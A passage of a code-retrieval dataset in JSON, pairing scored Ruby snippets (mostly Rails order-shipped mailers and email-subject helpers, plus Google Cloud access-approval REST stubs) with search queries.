"a88f0f72dc91909c2d67b95574182c34", "score": "0.6062076", "text": "def subject\n @msg['Subject']\n end", "title": "" }, { "docid": "b5e288975edc01364be6d049a2552a3d", "score": "0.6060154", "text": "def order_support_request( order, subject)\n @order = order\n if Rails.env.photos_production?\n full_subject = \"[Store] Order #{@order.number} #{subject}\"\n to = \"help@zangzing.com\"\n else\n full_subject = \"[Store #{Rails.env}] Order #{@order.number} #{subject}\"\n to = \"help@bucket.zangzing.com\"\n end\n #create message\n mail( :to => to,\n :from => \"ZangZing Store <store@zangzing.com>\",\n :subject => full_subject )\n\n end", "title": "" }, { "docid": "13f33ebdb3e9b2ed264fd5a729836792", "score": "0.6045625", "text": "def translation_scope\n \"mailers.#{mailer_name.tr(\"/\", \".\").sub(\"_mailer\", \"\")}.#{action_name}\"\n end", "title": "" }, { "docid": "c467d463e8e174d4b909bb1a9e466b55", "score": "0.6020167", "text": "def subject\n envelope[:subject]\n end", "title": "" }, { "docid": "65bc93ce070dc297b0749b44e859fbe2", "score": "0.60173994", "text": "def default_i18n_subject(interpolations = {})\n I18n.t(:subject, interpolations.merge(i18n_default_params))\n end", "title": "" }, { "docid": "c5665e1b41a0a486c5b3ec954d2664c3", "score": "0.59901613", "text": "def shipped(order)\n @order = order\n\n\n mail( to: order.emails, subject: 'Заказ из Pragmatic Store отправлен')\n end", "title": "" }, { "docid": "adc4d6f399275aa030fdd9d865497b26", "score": "0.59707457", "text": "def subject(subj)\n if not subj.instance_of? String\n STDERR.puts \"ELTmail::Mail: subject ERROR: requires a String\"\n exit 1\n end\n @subject=subj\n @message.header.subject=@subject\n end", "title": "" }, { "docid": "c6afc3626cbbe68cf6cd38b69eea3b85", "score": "0.5965321", "text": "def setup_mail( recipient, data, key, translation_data = {} )\n subject \"[#{ self.class.site_name }] #{ translate( key, translation_data ) }\"\n from NOTIFICATION_EMAILS_COME_FROM # config/initializers/50_general_settings.rb\n recipients recipient\n sent_on Time.now\n content_type 'text/plain'\n body render(\n :file => \"canvass_mailer/#{ key }.txt.erb\",\n :body => { :data => data }\n )\n end", "title": "" }, { "docid": "db3afb5f7211d0b08387b51a9835c6fb", "score": "0.59521735", "text": "def shipped\n mail = OrderNotifier.shipped(orders(:one))\n assert_equal \"Заказ из Pragmatic Store отправлен\", mail.subject\n assert_equal [\"dave@example.org\"], mail.to\n assert_equal [\"depot@example.com\"], mail.from\n assert_match /<td>1&times;<\\/td>\\s*<td>Programming Ruby 1.9<\\/td>/,\n mail.body.encoded\n end", "title": "" }, { "docid": "b9063895e5606bc1687bf21a9de8d941", "score": "0.59422255", "text": "def send_order(cart, shippingdetails)\n @cart = cart\n @shippingdetails = shippingdetails\n\n mail :to => shippingdetails.email, :subject => t('order.subject')\n end", "title": "" }, { "docid": "7293027e245472c495704b7698881fe1", "score": "0.59400314", "text": "def shipped\n @order = order\n\n mail subject: \"Your order is shipped\", to: order.email\n end", "title": "" }, { "docid": "f24549a895429002a81e3d7a56524c99", "score": "0.5934888", "text": "def new_message_email(message, receiver, locale)\n I18n.locale = locale.to_sym\n @receiver = receiver\n setup_mailer_from message\n set_subject(message)\n mail to: receiver.send(Mailboxer.email_method, message),\n subject: (_(\"New booking for %{boat_name} on Sea for All\") %{boat_name: @boat.name}),\n template_name: 'new_message_email'\n end", "title": "" }, { "docid": "a5e199ac7874c23854dfbc803c2fbdbb", "score": "0.5921342", "text": "def order_shipped(order)\n # @greeting = \"Hi\"\n @order = order\n mail to: order.email, :subject => 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "d0e1de61fdd3b17c2381046c60ded7bd", "score": "0.59064895", "text": "def subject_name\n subject_full_name\n end", "title": "" }, { "docid": "33c4eca8a029906b1d7d4ee23a7e7f25", "score": "0.5905011", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "40067e740df0f18749be727cea3569f4", "score": "0.58967435", "text": "def mailer_locale\n I18n.locale\n end", "title": "" }, { "docid": "cde95054bfa8354e9ddc95448fd399ce", "score": "0.5891534", "text": "def order_shipped( order )\n @order = order\n\n mail to: order.email,\n subject: \"Expedovaná objednávka z Pragmatickej knižnice\"\n end", "title": "" }, { "docid": "cb3903bb72c279531d812f561910449a", "score": "0.5887692", "text": "def email_changed(record, opts = {})\n opts[:subject] = \"#{default_title}: #{t(:email_changed)}\"\n super\n end", "title": "" }, { "docid": "9cafd0a1bdf4159d651a13bc61c91fa4", "score": "0.58680165", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Asian Online Shopping Order Shipped'\nend", "title": "" }, { "docid": "d8466ff5c10b95d48599f3b944cba7fc", "score": "0.5863315", "text": "def shipped(order)\n @order = order\n mail to: order.email, subject: 'Księgarnia Śląska \n - zamówienie zostało wysłane'\n end", "title": "" }, { "docid": "d3fe97d40a71821834b836df97a93c27", "score": "0.5862993", "text": "def test_set_subject\n email = SendgridRuby::Email.new\n\n email.set_subject(\"Test Subject\")\n assert_equal(\"Test Subject\", email.get_subject)\n end", "title": "" }, { "docid": "fa02300f8a749e79e5020951b8e50029", "score": "0.5854088", "text": "def order_shipped(order)\n @order = order\n\n mail :to => \"kenyangas@gmail.com\", \n :cc => \"suyeb23@gmail.com\",\n :subject => 'Your Bookstore Order has been Shipped' \n end", "title": "" }, { "docid": "8f2c469d18f4c51023a93c5acdec56bb", "score": "0.58446985", "text": "def order_shipped(order)\n @order = order\n\n mail to: order.email,\n subject: 'Objednavka z Pragmaticke knihovny bolo odoslana'\n end", "title": "" }, { "docid": "cd4715cc9b7003a27c41b8344163d510", "score": "0.5844169", "text": "def order_shipped\n NotifierMailer.order_shipped\n end", "title": "" }, { "docid": "3e1425a9bedfe6a65d651b5d5841dbf2", "score": "0.5841861", "text": "def sns_subject\n return default_sns_subject unless subject\n context = self\n eruby = Erubis::Eruby.new(fix_subject_encoding(subject))\n fix_subject_encoding(eruby.evaluate(context))[0..99]\n end", "title": "" }, { "docid": "dc0e2948b8652d7848b464a5ec15a020", "score": "0.58302134", "text": "def subject(string)\n self << \"SUBJECT\" << string\n end", "title": "" }, { "docid": "de234bc160d6b9ea980e7d1cfb28d1e4", "score": "0.5828794", "text": "def subject\n SMail::MIME.decode_field(subject_raw)\n end", "title": "" }, { "docid": "c1ccd7188a8f929194ca8cd1c5282799", "score": "0.5828493", "text": "def order_shipped\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "title": "" }, { "docid": "c1ccd7188a8f929194ca8cd1c5282799", "score": "0.5828493", "text": "def order_shipped\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "title": "" }, { "docid": "3ced77486c3fe9f91298bd4216254c91", "score": "0.5823597", "text": "def subject_name\n nil unless @subject\n if subject_class.respond_to?(:human_name)\n subject_class.human_name(:locale => Remarkable.locale)\n else\n subject_class.name\n end\n end", "title": "" }, { "docid": "08752ea88ec211693e9fdab03e8ddd9c", "score": "0.5817313", "text": "def shipped(order)\n @order = order \n\n mail to: @order.email, subject: \"AB OnlineShop Konfirmasi Pengiriman\"\n end", "title": "" }, { "docid": "4784ad2933072ef1e4d87d71789a30cd", "score": "0.5808657", "text": "def service_now_subject_matcher\n \"#{t('sufia.product_name')}: Help Request\"\n end", "title": "" }, { "docid": "5b97accc2422140e68c3765af2839e19", "score": "0.58058906", "text": "def subject\n\n unless @subject\n subject = mail.subject.strip rescue \"\"\n ignores = config['ignore']['text/plain']\n if ignores && ignores.detect{|s| s == subject}\n @subject = \"\"\n else\n @subject = transform_text('text/plain', subject).last\n end\n end\n\n @subject\n end", "title": "" }, { "docid": "5e52b01f0a978ce27fd5d3418a5cd999", "score": "0.58009964", "text": "def shipped(order)\n @order = order # This instance variable, along with the one in the received() method are only used in the mailer template files.\n\n mail to: order.email, subject: \"BookCart Order Shipped\"\n end", "title": "" }, { "docid": "c1fa341e06dfd5855eac5a7860490396", "score": "0.57976854", "text": "def shipped(order)\n @order = order\n @greeting = \"Hi\"\n\n mail to: order.email, subject: 'E Store Order Shipped'\n end", "title": "" }, { "docid": "91927af29dd0e00c0374e761ec60174c", "score": "0.5795103", "text": "def subject_prefix\n return \"[#{SUBJECT_PREFIX}] \" if Object.const_defined?('SUBJECT_PREFIX')\n ''\n end", "title": "" }, { "docid": "360df0d2a0bf630cbd2cbaa5b1b3c77e", "score": "0.5790125", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'TOLY Store Order Shipped'\n end", "title": "" }, { "docid": "f77aa52fa91c2d3deac97d3c4db65899", "score": "0.5785715", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Your Pragmatic order is on its way to you'\n end", "title": "" }, { "docid": "f037f915f5863f48affceff907515ed0", "score": "0.5781587", "text": "def order_placed_confirmation(cart)\n @cart = cart\n @user = cart.user\n #@greeting = \"Thank you for placing an order\"\n\n mail to: cart.user.email, :subject => t('mailer.order_notification.subject', order_no: cart.id)\n end", "title": "" }, { "docid": "9f8f64b70616922110ad85293b2a9783", "score": "0.57760566", "text": "def shipped (order)\n @order = order\n mail to: order.email, subject: 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "abe5dca235d44535cbf5b6c1045c8d14", "score": "0.5774316", "text": "def forwarding_subject(enquiry)\n if enquiry.subject.blank?\n return \"#{enquiry.reference} #{I18n.t('integral.contact_mailer.forward_enquiry.subject')}\"\n end\n\n \"#{enquiry.reference} #{I18n.t('integral.contact_mailer.forward_enquiry.subject')} - #{enquiry.subject}\"\n end", "title": "" }, { "docid": "7311f7867d0c3bf2f7ef0ea3f9e7b8da", "score": "0.5773076", "text": "def shipped(order)\n @order = order\n\t\t\n mail to: order.email, subject: 'Invio ordine Pasticceria Siciliana'\n end", "title": "" }, { "docid": "2d6331689dbede789150dacf78dbe51f", "score": "0.5768108", "text": "def subject( default = nil )\n if h = @header['subject']\n h.body\n else\n default\n end\n end", "title": "" }, { "docid": "f8d0d5a19417362a5ba8de4e6aa4746a", "score": "0.5764304", "text": "def shipped(order)\n @order=order\n mail to: order.email, subject: 'Dummy Flipkart Order Shipped'\n end", "title": "" }, { "docid": "27334b500afe67de695c8d827fbdb001", "score": "0.5763152", "text": "def oos_email(to, customer, unfulfilled_titles)\n @customer = customer\n @unfulfilled_titles = unfulfilled_titles\n mail(subject: \"SmartFlix.com DVD Order Status\",\n to: Rails.env == 'production' ? to : SmartFlix::Application::EMAIL_TO_DEVELOPER ,\n from: SmartFlix::Application::EMAIL_FROM).deliver\n end", "title": "" }, { "docid": "11b0e6d6650753afd3d7fa65617b2a65", "score": "0.5752139", "text": "def shipped(order, email)\n @order = order\n mail to: email, subject: \"DealHound Order No. #{@order.id} Shipped\"\n end", "title": "" }, { "docid": "451344b9a6506bf94f8ea3c4f73b0048", "score": "0.5749606", "text": "def shipped(order)\n @order = order \n @greeting = \"Hi there, hooman, we shipped you something.\"\n\n mail to: order.email, subject: 'FoxHound Item Shipped'\n end", "title": "" }, { "docid": "ad12654c2feff3037bc80bd81b55bfd6", "score": "0.57488716", "text": "def headers\n {\n :to => \"ops@dms-intl.com\",\n :from => \"ops@dms-intl.com\",\n :subject => \"A new order has been placed on the DMS website.\"\n }\n end", "title": "" }, { "docid": "ffdef2b911f6673b8f98280db0412d98", "score": "0.57482886", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Pragmatic Store Order Confirmation'\n end", "title": "" }, { "docid": "06bbb964463aaf818ed441696d4dd801", "score": "0.57391196", "text": "def shipped\n @order = order\n\n mail to: order.email, subject: \"Your food is en route!\"\n end", "title": "" }, { "docid": "436f2931af1ca13533af63db1414469b", "score": "0.57340986", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Informacje o przesyłce | Sklep GSM'\n end", "title": "" }, { "docid": "07a47033dcaa267b51f7aa4c54495630", "score": "0.57314867", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "32dcc9ca559fad0b9110eb6248b176b2", "score": "0.5727682", "text": "def shipped(postagemEmail)\n @postagemEmail = postagemEmail\n mail to: postagemEmail.email, subject: 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "422b8a96f3d51add2d884b8ab82a0752", "score": "0.572261", "text": "def massage_subject(subject='',errata=nil)\n \"ET: #{\"#{errata.name_release_and_short_title}\" if errata}#{\"#{' - ' if errata}#{subject}\" if !subject.blank?}\"\n end", "title": "" }, { "docid": "7a0224a1a114ab62857f17807128102e", "score": "0.5722565", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Подтверждение заказа в Vlad Store'\n end", "title": "" }, { "docid": "96c0a71771f1577b19a59c26f323bbf2", "score": "0.5719204", "text": "def survey_email(order)\n @order = order\n \n mail(:to => @order.email, :subject => SURVEY_MESSAGE)\n end", "title": "" }, { "docid": "e4c7d7bf5cbf9ab9d4eccb6ae784c372", "score": "0.5717782", "text": "def shipped(order)\n @order = order\n mail to: order.email, subject: 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "ddb38c73a4207de3d6800f1022258e59", "score": "0.57177633", "text": "def send_confirmation_request\n I18n.switch_locale self.default_language || Utility.language_code do \n UserMailer.deliver_confirm_account(self)\n end\n end", "title": "" }, { "docid": "62cde2d6501d5500cd9d77b14ff84bd2", "score": "0.5717408", "text": "def sendmail(email, delivery_id, unsubscribe_key, locale, title, timestamp)\n @delivery_url = url_for(controller: :deliveries, action: :show, id: delivery_id, only_path: false)\n @title = title\n date = Time.at(timestamp)\n\n if locale.blank?\n locale = ENV['DEFAULT_LOCALE']\n end\n locale = locale[0,2]\n case locale\n when 'ja', 'en'\n ;\n else\n locale = 'en'\n end\n I18n.locale = locale\n\n query = \"?key=#{unsubscribe_key}&locale=#{locale}\"\n @unsubscribe_url = url_for(controller: :unsubscribe, action: :index, only_path: false) + query\n\n subject = \"#{l date, format: :short, day: date.day.ordinalize} #{t 'delivery_mail.update'}\"\n mail to: email, subject: subject\n end", "title": "" }, { "docid": "ec3911ec721fb6c4d558488294c163f7", "score": "0.57129997", "text": "def order_shipped(order)\n @order = order\n \n mail :to => order.email, :subject => 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "95bfe8b64a29ad2a7692418e490c6977", "score": "0.5711419", "text": "def order_shipped(order)\n @order =order\n\n mail :to => order.email, :subject => 'Pragprog Order shipped'\n end", "title": "" }, { "docid": "fa80135c78cd2dfd8f82abbdad933a5b", "score": "0.57100135", "text": "def notify_shipped\n OrderMailer.notify_shipped\n end", "title": "" }, { "docid": "f64a5fc12d979c0501b82757553ac860", "score": "0.57065517", "text": "def shipped(example)\n @example = example\n\n mail to: @example.email, subject: \"Nakagawa's Bookshelf Order Shipped\"\n end", "title": "" }, { "docid": "519f685ed317139cbea72085c30086ef", "score": "0.5692244", "text": "def subject(*extra)\n subject = []\n\n subject.concat(extra) if extra.present?\n\n if core_config['email_subject_suffix'].present?\n subject << core_config['email_subject_suffix']\n end\n\n subject.join(' | ')\n end", "title": "" }, { "docid": "f98ed715c0bec107b1f849061b2d4b29", "score": "0.56906503", "text": "def order_shipped(order)\n \t @comment=order\n\n \t mail :to =>order.email, :subject => 'Paramatic Store Order Shipped'\n @greeting = \"Hi\"\n\n mail :to => \"to@example.org\"\n end", "title": "" }, { "docid": "bfab301d377eac223248930914301a44", "score": "0.56890696", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Cookie Store Order Shipped'\n end", "title": "" }, { "docid": "6878d37f22ad2148cc944a89743c0f15", "score": "0.5684401", "text": "def set_title\n @title = t(:message_1, :scope => [:controller, :students])\n end", "title": "" }, { "docid": "e2b937a6ae9368ff8f31d71c2bf4e827", "score": "0.5682111", "text": "def order_shipped(order)\n @order = order\n\n mail to: \"order.email\", :subject => \"Order shipped\"\n end", "title": "" }, { "docid": "c65b4042becca8098bf4e555b8ad03c0", "score": "0.5681942", "text": "def headers\n {\n from: \"noreply@#{ENV['STELLAR_DOMAIN']}\",\n to: @options[:to],\n subject: default_i18n_subject(store: @store, order: @order)\n }.tap do |h|\n h[:bcc] = @options[:blind_copies] if @options[:bcc]\n h.merge!(\n from: @store.smtp_user_name,\n delivery_method_options: @store.smtp_delivery_method_options\n ) if @store.custom_smtp_settings?\n end\n end", "title": "" }, { "docid": "872ae6aba7847e45a7129ad1d6fb3acb", "score": "0.56810105", "text": "def thanks_msg(ride)\n I18n.t(:thanks_for_requesting, locale: (ride.voter.locale.blank? ? 'en' : ride.voter.locale), time: ride.pickup_in_time_zone.strftime('%m/%d %l:%M %P'), email: ride.ride_zone.email)\n end", "title": "" }, { "docid": "441e62b981d3668556119f56fbc674a3", "score": "0.56806386", "text": "def set_subject(default_subject)\n Rails.env.production? ? default_subject : \"TEST-#{default_subject}\"\n end", "title": "" }, { "docid": "4fba14c938b724d38695d316d8510d14", "score": "0.56738394", "text": "def shipped\n @order = order\n mail to: order.email, subject: 'Wooden Store Order Shipped'\n end", "title": "" }, { "docid": "f100fb837e83a56de07b6d074758ba70", "score": "0.56720877", "text": "def order_shipped(order)\n @order = order\n\n mail :to => order.email, :subject => 'Your Groceries Are Enroute'\n end", "title": "" }, { "docid": "592a4cdad3b2f1f9377bb8994ad24ca8", "score": "0.5669494", "text": "def default_subject_prefix\n @default_subject_prefix || \"[VALIDATION ERROR]\"\n end", "title": "" }, { "docid": "0b47d739c0aff28ce50ea32eb30da642", "score": "0.5669053", "text": "def shipped\n # [92] update: send mail after order has been shipped\n # save order in instance variable, specify mail's subject and send it to order's address\n @order = order\n mail to: order.email, subject: 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "ce72ea2c01f9e591e0965c13710c092e", "score": "0.566845", "text": "def community_member_email(sender, recipient, email_subject, email_content, community)\n @email_type = \"email_from_admins\"\n set_up_urls(recipient, community, @email_type)\n with_locale(recipient.locale, community.locales.map(&:to_sym), community.id) do\n @email_content = email_content\n @no_recipient_name = true\n premailer_mail(:to => recipient.confirmed_notification_emails_to,\n :from => community_specific_sender_with_alias(community, \"Rentog Services\"),\n :subject => email_subject,\n :reply_to => \"\\\"#{sender.name(community)}\\\"<#{sender.confirmed_notification_email_to}>\")\n end\n end", "title": "" } ]
6d93c118313d5d4162e88b350882a7ef
Baseline implementation for the get_approval_request REST call
[ { "docid": "4b2eb61b79802f35ddb9c3890c1e0136", "score": "0.73619837", "text": "def get_approval_request request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_approval_request_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AccessApproval::V1::ApprovalRequest.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" } ]
[ { "docid": "f97e0cbe81b48cd603d60f2978dec03f", "score": "0.6745242", "text": "def request_pre_approval(account = nil)\n params = Serializer.new(self).to_params\n response = post('/pre-approvals/request', API_V2 ,account, params).parsed_response\n code = response['preApprovalRequest']['code']\n \n PagSeguro.redirect_url(API_V2) + \"/pre-approvals/request.html?code=#{code}\"\n end", "title": "" }, { "docid": "d92c447172bfceb19e9bb65652f62707", "score": "0.6661241", "text": "def approve_approval_request request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_approve_approval_request_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AccessApproval::V1::ApprovalRequest.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "b23cf44e18a6cf32b73d4ccb7b104e1e", "score": "0.65178126", "text": "def get_approval_rules()\n build_header_auth('/approval_rules', API_VERSION_1, 'GET')\n build_request()\n request = Net::HTTP::Get.new(@uri.request_uri)\n #puts \"Request headers\\n\"\n @header.each do |name, value|\n request[name] = value\n\n #puts name+\": \"+value\n end\n\n response = @http.request(request)\n # response.body = JSON.parse(response.body)\n return response\n\n end", "title": "" }, { "docid": "4ec5f85e5bfc57bb3c5ac33b1ad1b615", "score": "0.6479387", "text": "def is_approval_request\n return @is_approval_request\n end", "title": "" }, { "docid": "d48de015c02d6fc65aaf0b233a2e79c9", "score": "0.64019996", "text": "def invalidate_approval_request request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_invalidate_approval_request_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AccessApproval::V1::ApprovalRequest.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "d41a5b109e6cd71ab806bb4f3d6be6e3", "score": "0.63573813", "text": "def is_approval_request=(value)\n @is_approval_request = value\n end", "title": "" }, { "docid": "5dde73de4229096ec6cdfac2274091ce", "score": "0.6337585", "text": "def list_approval_requests request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_approval_requests_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AccessApproval::V1::ListApprovalRequestsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "d0bcc7383a9a1c4205feb9d5a436bfc2", "score": "0.62713456", "text": "def request_approval_settings\n return @request_approval_settings\n end", "title": "" }, { "docid": "05035d6d9edca0384b09891851efae6f", "score": "0.6245197", "text": "def get_access_approval_service_account request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_access_approval_service_account_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AccessApproval::V1::AccessApprovalServiceAccount.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "c60a90ddde22a510795c1772d9c04649", "score": "0.6123893", "text": "def setup_preapproval\n api.execute :Preapproval, preapproval_payment_options\nend", "title": "" }, { "docid": "5a31b5c707eff54482705e7f6b961fde", "score": "0.6104753", "text": "def dismiss_approval_request request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_dismiss_approval_request_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AccessApproval::V1::ApprovalRequest.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "45786b61efb1f02ea7a19ac3cccd7d0e", "score": "0.60866934", "text": "def perform_get_request\n # Validate preventing request error\n\n # setup params, like API Key if needed\n\n # Perform the request\n get_request\n end", "title": "" }, { "docid": "d67e8a9009f5b09a9dbcec205e6172d6", "score": "0.5990214", "text": "def project_merge_request_approval_rules(project)\n get(\"/projects/#{url_encode project}/approval_rules\")\n end", "title": "" }, { "docid": "5f1392661d75425230e9c4a31183774b", "score": "0.5954156", "text": "def approval_id\n return @approval_id\n end", "title": "" }, { "docid": "3a3c9259d9449545c24db0453201e199", "score": "0.5914089", "text": "def get_access_approval_settings request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_access_approval_settings_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AccessApproval::V1::AccessApprovalSettings.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "f859acc39ed0aeb41c894ea9ab3153eb", "score": "0.58952", "text": "def approvals\n approvals_list = []\n if params[:count]\n if params[:skip]\n approvals_list = current_user.db_user.approval_approvers.order('created_at desc').offset(params[:skip].to_i).take(params[:count].to_i)\n else\n approvals_list = current_user.db_user.approval_approvers.order('created_at desc').take(params[:count].to_i)\n end\n else\n approvals_list = current_user.db_user.approval_approvers.order('created_at desc')\n end\n\n # make sure we are only fetching bound approvals\n approvals_list = approvals_list.to_a.select { |approver| approver.approval.is_bound? }\n # return final approvals_list\n render status: 200, json: approvals_list.as_json(include: { approval_type: { }, approval: { methods: [:approval_status, :approval_link, :approval_source_requested_item, :approval_source, :approval_source_character_name, :approval_source_on_behalf_of], include: { approval_kind: { }, approval_approvers: { methods: [:character_name, :approver_response], include: { approval_type: { } } } } } })\n end", "title": "" }, { "docid": "e354f31d1f61ebfd813d2c3eacdf96de", "score": "0.58783734", "text": "def initialize(request_entity)\n @request_entity = request_entity \n @approval_groups = []\n @approval = nil\n end", "title": "" }, { "docid": "95a5f5e6c8f3586d7beca5ef196c9bcd", "score": "0.586694", "text": "def approval_params\r\n # params.fetch(:approval, {})\r\n params.require(:approval).permit(:approval_type, :date, :approval_no, :sub_type, :description, :standard, :reference, :effective_date, :expiry_date, :status, :notes, :approval_doc, product_ids: [])\r\n end", "title": "" }, { "docid": "02a15dd0ee698102f0969cb94df29096", "score": "0.5851061", "text": "def first_approval\n miq_approvals.first || build_default_approval\n end", "title": "" }, { "docid": "b15c741083b4b773aa9b295d4922b216", "score": "0.58086675", "text": "def get_ApprovalURL()\n \t return @outputs[\"ApprovalURL\"]\n \tend", "title": "" }, { "docid": "d99971c3d4089a8ed4b8bd1ca0fc2ef0", "score": "0.5799973", "text": "def request\n if Pending.approved.include? @@item.attach\n 'unapprove'\n elsif Pending.unapproved.include? @@item.attach\n 'approve'\n elsif @@item.approved and @@item.approved.include? User.initials\n 'unapprove'\n else\n 'approve'\n end\n end", "title": "" }, { "docid": "50a94273b8e6612ffe75cbb735e281f1", "score": "0.5777222", "text": "def api_request(action, data, request_type)\n data[:api_key] = @api_key\n data[:format] ||= 'json'\n data[:sig] = Sailthru::TriggermailClient.get_signature_hash(data, @secret)\n _result = self.http_request(\"#{@api_uri}/#{action}\", data, request_type)\n\n\n # NOTE: don't do the unserialize here\n unserialized = JSON.parse(_result)\n return unserialized ? unserialized : _result\n end", "title": "" }, { "docid": "7a82e399bafd17d057a80e0b4a0f615b", "score": "0.57753116", "text": "def request_approval_settings=(value)\n @request_approval_settings = value\n end", "title": "" }, { "docid": "4532f322729d21c1b3c9d3b67e1d8d5f", "score": "0.5738908", "text": "def request_approval\n reservation = Reservation.first\n ReservationMailer.request_approval(reservation)\n end", "title": "" }, { "docid": "04f4bc280d55704f8c56aa61d07a93d1", "score": "0.57387686", "text": "def approve_build request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_approve_build_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "a8991330431f301dd4c71e6d005c7255", "score": "0.5701791", "text": "def book_approval_params\n params.fetch(:book_approval, {})\n end", "title": "" }, { "docid": "d458d932d74a134ad682f9ab4fc0d809", "score": "0.5693487", "text": "def merge_request_approval_state(project, id)\n get(\"/projects/#{url_encode project}/merge_requests/#{id}/approval_state\")\n end", "title": "" }, { "docid": "b23b7eae416e9f34405fae796d9f1074", "score": "0.56849366", "text": "def approval_params\n params.require(:approval).permit(:policy_resolution_id, :approval_type, :approver_id, :approved, :remarks)\n end", "title": "" }, { "docid": "d98bb4ed5f545d26c4f359441374028b", "score": "0.56691265", "text": "def generate_request\r\n end", "title": "" }, { "docid": "9e39f2fad64fb7dedf4fd206eb173352", "score": "0.5661147", "text": "def fetch_appointment_requests\n lambda {\n end_date = Time.zone.today\n start_date = end_date - 90.days\n service = VAOS::AppointmentRequestsService.new(@user)\n response = service.get_requests(start_date, end_date)\n response[:data]\n }\n end", "title": "" }, { "docid": "468d87045524031fa51541dcc82986a2", "score": "0.5629671", "text": "def list_requests_with_http_info(opts = {})\n if @api_client.config.debugging\n 